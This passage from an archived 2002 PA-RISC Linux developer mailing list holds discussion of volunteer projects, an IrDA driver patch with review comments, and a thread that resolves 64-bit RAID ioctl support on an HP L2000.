  debian packages that don't yet build on hppa (the ones that are listed
  as "Failed"). many of these are c++ packages that are not coded
  correctly and don't work with the stricter c++ standard enforced by
  the 3.x compilers. try to fix these and file bugs...

i'm sure there are other things i'm missing.....

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/



From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MOORE,CHRISTOPHER (HP-USA,ex1)" <chris_moore@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: wishlist projects, looking for volunteers
Date: Tue, 30 Apr 2002 10:59:24 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <CC57E8021A79D511BC720090278CE32DC28F3D@xrose02.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621261 6572 80.91.229.3 (22 Nov 2014 01:54:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:21 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'randolph@tausq.org'" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 08:59:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF8B4482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 08:59:55 -0600 (MDT)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 2E95280518D; Tue, 30 Apr 2002 10:59:34 -0400 (EDT)
Original-Received: from xatlbh2.atl.hp.com (xatlbh2.atl.hp.com [15.45.89.187])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP
	id CC558123; Tue, 30 Apr 2002 10:59:27 -0400 (EDT)
Original-Received: by xatlbh2.atl.hp.com with Internet Mail Service (5.5.2653.19)
	id <J7MBA41V>; Tue, 30 Apr 2002 10:59:27 -0400
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14667

Hi Randolph,

Thanks for posting the project wishlist.  You mentioned that these
are specifically user space projects that need doing.  Is there a 
similar wishlist for kernel space projects?  I've got a lot more
experience with kernel (specifically HPUX) than I have with compilers,
linkers, and debuggers.

Chris Moore



From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: wishlist projects, looking for volunteers
Date: Tue, 30 Apr 2002 08:36:41 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20020430153641.GX32033@tausq.org>
References: <CC57E8021A79D511BC720090278CE32DC28F3D@xrose02.rose.hp.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621261 6574 80.91.229.3 (22 Nov 2014 01:54:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:21 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "MOORE,CHRISTOPHER (HP-USA,ex1)" <chris_moore@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 09:33:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E66F482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 09:33:32 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id wlozmaaa for parisc-linux@lists.parisc-linux.org; Tue, 30 Apr 2002 08:32:18 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8551DCD293; Tue, 30 Apr 2002 08:36:41 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CC57E8021A79D511BC720090278CE32DC28F3D@xrose02.rose.hp.com>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14668

> Thanks for posting the project wishlist.  You mentioned that these
> are specifically user space projects that need doing.  Is there a 
> similar wishlist for kernel space projects?  I've got a lot more
> experience with kernel (specifically HPUX) than I have with compilers,
> linkers, and debuggers.

kernel things are tracked via the parisc-linux bug tracking system. Try
http://bugs.parisc-linux.org/db/pa/lkernel.html

randolph



From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Interesting manuals
Date: Tue, 30 Apr 2002 21:57:56 +0200
Lines: 4
Approved: news@gmane.org
Message-ID: <OE21jVVKr7d8hh0NJjk00001c32@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621261 6579 80.91.229.3 (22 Nov 2014 01:54:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:21 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 14:04:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe21.law4.hotmail.com [216.33.148.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74CE5482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 14:04:55 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 30 Apr 2002 13:04:53 -0700
X-Originating-IP: [213.224.83.38]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 30 Apr 2002 20:04:53.0809 (UTC) FILETIME=[4B049210:01C1F082]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14669

For the proud owners of some old workstations/servers (including me):
http://www.hp.com/workstations/support/archive/index.html



From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Tue, 30 Apr 2002 17:57:31 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <m172hUx-000KUzC@phantom.home>
References: <002a01c1f00c$1f288eb0$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621261 6584 80.91.229.3 (22 Nov 2014 01:54:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Braid" <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 17:58:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B52C482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 17:58:20 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 4EF96804EB4; Tue, 30 Apr 2002 19:57:43 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 35A263801E; Tue, 30 Apr 2002 17:57:32 -0600 (MDT)
Original-Received: from phantom.home (phantom.fc.hp.com [15.1.49.58])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 1704E4484; Tue, 30 Apr 2002 17:57:31 -0600 (MDT)
Original-Received: from riverrock.org (really [127.0.0.1]) by riverrock.org
	via in.smtpd with esmtp
	id <m172hUx-000KUzC@phantom.home> (Debian Smail3.2.0.114)
	Tue, 30 Apr 2002 17:57:31 -0600 (MDT) 
In-Reply-To: Your message of "Tue, 30 Apr 2002 17:58:59 +1200."
             <002a01c1f00c$1f288eb0$5e01000a@bongo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14670

> I also had a look in arch/parisc/kernel/ioctl32.c and there were a
> couple of lines commented out with comments like "new RAID code is
> half merged". Is RAID on 64-bit PA-RISC a work in progress?

Yeah, if you're doing it :->  If you'd like to post a patch for
translating those ioctl calls that would be great!  I think proper
translation of the relevent ioctls is all that's needed.

	-P



From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Patch to enable IrDA :-)
Date: Wed, 1 May 2002 02:08:48 +0200 (CEST)
Lines: 53
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205010207430.4938-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621262 6587 80.91.229.3 (22 Nov 2014 01:54:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:22 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 18:08:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADDF1482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 18:08:56 -0600 (MDT)
Original-Received: from p5080DD88.dip.t-dialin.net (p5080DD88.dip.t-dialin.net [80.128.221.136])
	(authenticated)
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id g4108rT00621
	for <parisc-linux@lists.parisc-linux.org>; Wed, 1 May 2002 02:08:53 +0200 (CEST)
X-X-Sender: jochen@alpha.bocc.de
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14671

Hi,

this tiny patch enables the usage of IrDA dongles on the PA-RISC :-)

# cvs diff -u drivers/net/irda/irtty.c arch/parisc/config.in
Index: drivers/net/irda/irtty.c
===================================================================
RCS file: /var/cvs/linux/drivers/net/irda/irtty.c,v
retrieving revision 1.8
diff -u -r1.8 irtty.c
--- drivers/net/irda/irtty.c    2001/11/09 23:36:06     1.8
+++ drivers/net/irda/irtty.c    2002/05/01 00:07:28
@@ -26,6 +26,7 @@

 #include <linux/module.h>
 #include <linux/kernel.h>
+#include <linux/config.h>
 #include <linux/tty.h>
 #include <linux/init.h>
 #include <linux/skbuff.h>
@@ -767,6 +768,9 @@

 #ifdef TIOCM_OUT2 /* Not defined for ARM */
        arg = TIOCM_OUT2;
+#endif
+#ifdef CONFIG_PARISC  /* PA-RISC uses OUT1 as hardware flow control bit 
*/
+       arg |= TIOCM_OUT1;
 #endif
        if (rts)
                arg |= TIOCM_RTS;
Index: arch/parisc/config.in
===================================================================
RCS file: /var/cvs/linux/arch/parisc/config.in,v
retrieving revision 1.39
diff -u -r1.39 config.in
--- arch/parisc/config.in       2001/11/08 21:17:52     1.39
+++ arch/parisc/config.in       2002/05/01 00:07:28
@@ -153,6 +153,8 @@

 source fs/Config.in

+source net/irda/Config.in
+
 if [ "$CONFIG_VT" = "y" ]; then
    mainmenu_option next_comment
    comment 'Console drivers'

Cheers,
--jochen




From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Patch to enable IrDA :-)
Date: Wed, 1 May 2002 01:43:25 +0100 (BST)
Lines: 15
Approved: news@gmane.org
Message-ID: <E172iDN-0000pm-00@the-village.bc.nu>
References: <Pine.LNX.4.44.0205010207430.4938-100000@alpha.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621262 6592 80.91.229.3 (22 Nov 2014 01:54:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org (HP900 PARISC mailing list)
To: jochen@scram.de (Jochen Friedrich)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 18:25:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08F33482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 18:25:27 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 172iDN-0000pm-00; Wed, 01 May 2002 01:43:25 +0100
In-Reply-To: <Pine.LNX.4.44.0205010207430.4938-100000@alpha.bocc.de> from "Jochen Friedrich" at May 01, 2002 02:08:48 AM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14672

>  #ifdef TIOCM_OUT2 /* Not defined for ARM */
>         arg = TIOCM_OUT2;
> +#endif
> +#ifdef CONFIG_PARISC  /* PA-RISC uses OUT1 as hardware flow control bit 
> */
> +       arg |= TIOCM_OUT1;
>  #endif

With these ifdefs for ARM and parisc maybe

	arg = IRDA_MODEM_BITS;

and sticking tha tin the header would be good ?



From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Tue, 30 Apr 2002 18:42:39 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20020501004239.75E8B482B@dsl2.external.hp.com>
References: <002a01c1f00c$1f288eb0$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621262 6594 80.91.229.3 (22 Nov 2014 01:54:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Braid" <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 18:42:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 75E8B482B; Tue, 30 Apr 2002 18:42:39 -0600 (MDT)
In-Reply-To: Message from "James Braid" <james.braid@peace.com> 
   of "Tue, 30 Apr 2002 17:58:59 +1200." <002a01c1f00c$1f288eb0$5e01000a@bongo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14673

"James Braid" wrote:
> When I attempt to make a software RAID0 array on 3 1Gb partitions on
> 3 18.2gb internal SCSI disks, I get this error:

I just wanted to provide confirmation this is only a problem of
the ioctl wrappers missing which are needed by 64-bit kernels.
L2000 requires 64-bit kernel.

I currently have a (hardly used) md0 on my B180:
debian:~# df
Filesystem           1k-blocks      Used Available Use% Mounted on
/dev/sde3              1451376    689608    688040  51% /
/dev/sde4              6784352   3743488   2696240  59% /home
/dev/md0              65832516     32836  65130848   1% /var/www
debian:~# cat /etc/raidtab
raiddev /dev/md0
        raid-level              0
        nr-raid-disks           8
        persistent-superblock   1
        chunk-size              8

        device                  /dev/sda
        raid-disk               0
	device                  /dev/sdb
	raid-disk               1
...


grant



From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Wed, 1 May 2002 13:15:45 +1200
Lines: 45
Approved: news@gmane.org
Message-ID: <014b01c1f0ad$b83712b0$5e01000a@bongo>
References: <20020501004239.75E8B482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621263 6601 80.91.229.3 (22 Nov 2014 01:54:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:23 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 19:13:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84CCD482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 19:13:16 -0600 (MDT)
In-Reply-To: <20020501004239.75E8B482B@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14674

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Cool. I have sort of brute forced the ioctl things from sparc64 in,
and the kernel compiles, and I will reboot shortly to test it.

Thanks, James

> I just wanted to provide confirmation this is only a problem of
> the ioctl wrappers missing which are needed by 64-bit kernels.
> L2000 requires 64-bit kernel.
> 
> I currently have a (hardly used) md0 on my B180:
> debian:~# df
> Filesystem           1k-blocks      Used Available Use% Mounted on
> /dev/sde3              1451376    689608    688040  51% /
> /dev/sde4              6784352   3743488   2696240  59% /home
> /dev/md0              65832516     32836  65130848   1% /var/www
> debian:~# cat /etc/raidtab
> raiddev /dev/md0
>         raid-level              0
>         nr-raid-disks           8
>         persistent-superblock   1
>         chunk-size              8
> 
>         device                  /dev/sda
>         raid-disk               0
> 	device                  /dev/sdb
> 	raid-disk               1
> ...
> 
> 
> grant

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1.1

iQA/AwUBPM9BwFW+bhIOiSqWEQJWhACfSpCPShEd/If0CC9Gzjprt0feQIwAn2NQ
ssVQmGnA3jC3vCvFv0wsaMJ/
=L0iG
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Wed, 1 May 2002 13:25:17 +1200
Lines: 41
Approved: news@gmane.org
Message-ID: <014c01c1f0af$0d0db630$5e01000a@bongo>
References: <20020501004239.75E8B482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621263 6605 80.91.229.3 (22 Nov 2014 01:54:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:23 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 19:22:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B2D7482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Apr 2002 19:22:41 -0600 (MDT)
In-Reply-To: <20020501004239.75E8B482B@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14675

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Woohoo! Just rebooted the L2000 and RAID is now working on it :)

How do I go about submitting a patch (sorry, I am a complete newbie
to kernel stuff). 

Basically all I have done is copy the RAID section from the sparc64
ioctl32.c into the parisc ioctl32.c file, and fix up the md.h
include.

Just some output:

hypo:/raid# cat /proc/mdstat
Personalities : [linear] [raid0] [raid1] [raid5]
read_ahead 1024 sectors
md0 : active raid0 sdd1[2] sdc1[1] sdb1[0]
      2930640 blocks 16k chunks

unused devices: <none>

hypo:/raid# df -k
